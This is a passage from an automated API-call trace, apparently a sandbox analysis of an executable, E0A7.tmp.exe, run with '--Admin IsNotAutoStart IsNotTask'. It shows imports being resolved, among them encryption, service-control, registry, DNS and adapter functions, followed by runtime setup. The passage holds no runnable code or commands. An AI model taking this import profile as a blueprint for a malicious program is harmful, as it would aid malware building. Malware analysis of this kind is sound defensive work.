lpProcName="TlsGetValue") returned 0x76c311e0 [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0087.556] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0087.557] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0087.558] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0087.559] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0087.560] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0087.560] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0087.560] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0087.561] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0087.562] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0087.562] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0087.562] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0087.562] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0087.562] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0087.562] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0087.562] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0087.562] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0087.562] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0087.562] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0087.562] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0087.563] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0087.564] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0087.564] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0087.564] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0087.568] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0087.568] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0087.568] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0087.568] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0087.568] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0087.568] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0087.568] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0087.568] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0087.569] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0087.569] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0087.569] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0087.569] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0087.569] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0087.569] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0087.569] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0087.569] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0087.569] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0087.569] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0087.569] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0087.569] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74ad0000 [0087.573] GetProcAddress (hModule=0x74ad0000, lpProcName="GetAdaptersInfo") returned 0x74ad9263 [0087.573] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0087.574] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0087.574] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0087.574] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0087.574] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0087.577] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0087.577] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0087.577] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0087.577] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0087.577] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74900000 [0087.582] GetProcAddress (hModule=0x74900000, lpProcName="atexit") returned 0x7491c544 [0087.582] atexit (param_1=0x6d4aa8) returned 0 [0087.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fedc | out: lpSystemTimeAsFileTime=0x18fedc*(dwLowDateTime=0xe87f6af0, dwHighDateTime=0x1d50371)) [0087.582] GetCurrentThreadId () returned 0xa60 [0087.582] GetCurrentProcessId () returned 0xa5c [0087.582] QueryPerformanceCounter (in: lpPerformanceCount=0x18fed4 | out: lpPerformanceCount=0x18fed4*=20742938797) returned 1 [0087.583] GetStartupInfoW (in: lpStartupInfo=0x18fe6c | out: lpStartupInfo=0x18fe6c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0087.583] GetProcessHeap () returned 0x680000 [0087.583] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0087.583] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0087.583] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0087.583] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0087.583] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0087.583] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0087.584] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0087.584] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0087.584] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0087.584] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0087.584] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0087.584] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0087.584] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0087.584] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0087.584] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0087.585] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0087.585] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0087.585] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0087.585] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0087.585] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0087.585] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0087.585] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0087.586] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0087.586] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0087.586] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0087.586] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0087.586] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0087.586] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0087.586] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0087.586] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0087.587] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0087.587] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0087.587] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0087.587] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0087.587] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3bc) returned 0x723178 [0087.587] GetCurrentThreadId () returned 0xa60 [0087.587] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x18) returned 0x7160b0 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x800) returned 0x723540 [0087.588] GetStartupInfoW (in: lpStartupInfo=0x18fe3c | out: lpStartupInfo=0x18fe3c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x3dca4950, hStdError=0xfffffffe)) [0087.588] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0087.588] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0087.588] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0087.588] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0087.588] GetEnvironmentStringsW () returned 0x723d48* [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xaca) returned 0x724820 [0087.588] FreeEnvironmentStringsW (penv=0x723d48) returned 1 [0087.588] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe")) returned 0x32 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xbc) returned 0x723d48 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x98) returned 0x723e10 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3e) returned 0x718d40 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x6c) returned 0x723eb0 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x6e) returned 0x723f28 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x78) returned 0x716c20 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x62) returned 0x723fa0 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x2e) returned 0x71ee98 [0087.588] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x48) returned 0x71aa50 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x28) returned 0x71e858 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1a) returned 0x722dd8 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x4a) returned 0x724010 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x72) returned 0x716ca0 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x30) returned 0x71eed0 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x2e) returned 0x71ef08 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1c) returned 0x722e00 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xd2) returned 0x724068 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x7c) returned 0x724148 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x36) returned 0x7241d0 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3a) returned 0x718d88 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x90) returned 0x724210 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x24) returned 0x71e888 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x30) returned 0x71ef40 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x36) returned 0x7242a8 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x48) returned 0x71aaa0 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x52) returned 0x7242e8 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3c) returned 0x718dd0 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x82) returned 0x724348 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x2e) returned 0x71ef78 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x722e28 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x2c) returned 0x71efb0 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x54) returned 0x7243d8 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x52) returned 0x724438 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x2a) returned 0x71efe8 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3c) returned 0x718e18 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x54) returned 0x724498 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x24) returned 0x71e8b8 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x30) returned 0x71f020 [0087.589] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x8c) returned 0x7244f8 [0087.589] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x724820 | out: hHeap=0x680000) returned 1 [0087.590] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x80) returned 0x724590 [0087.590] GetLastError () returned 0x0 [0087.590] SetLastError (dwErrCode=0x0) [0087.590] GetLastError () returned 0x0 [0087.590] SetLastError (dwErrCode=0x0) [0087.590] GetLastError () returned 0x0 [0087.590] SetLastError (dwErrCode=0x0) [0087.590] GetACP () returned 0x4e4 [0087.590] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x220) returned 0x724618 [0087.590] GetLastError () returned 0x0 [0087.590] SetLastError (dwErrCode=0x0) [0087.590] IsValidCodePage (CodePage=0x4e4) returned 1 [0087.591] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe30 | out: lpCPInfo=0x18fe30) returned 1 [0087.591] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f8f8 | out: lpCPInfo=0x18f8f8) returned 1 [0087.591] GetLastError () returned 0x0 [0087.591] SetLastError (dwErrCode=0x0) [0087.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0087.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x18f678, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ疏BĀ") returned 256 [0087.591] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ疏BĀ", cchSrc=256, lpCharType=0x18f90c | out: lpCharType=0x18f90c) returned 1 [0087.591] GetLastError () returned 0x0 [0087.591] SetLastError (dwErrCode=0x0) [0087.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0087.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x18f648, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ") returned 256 [0087.591] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0087.591] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 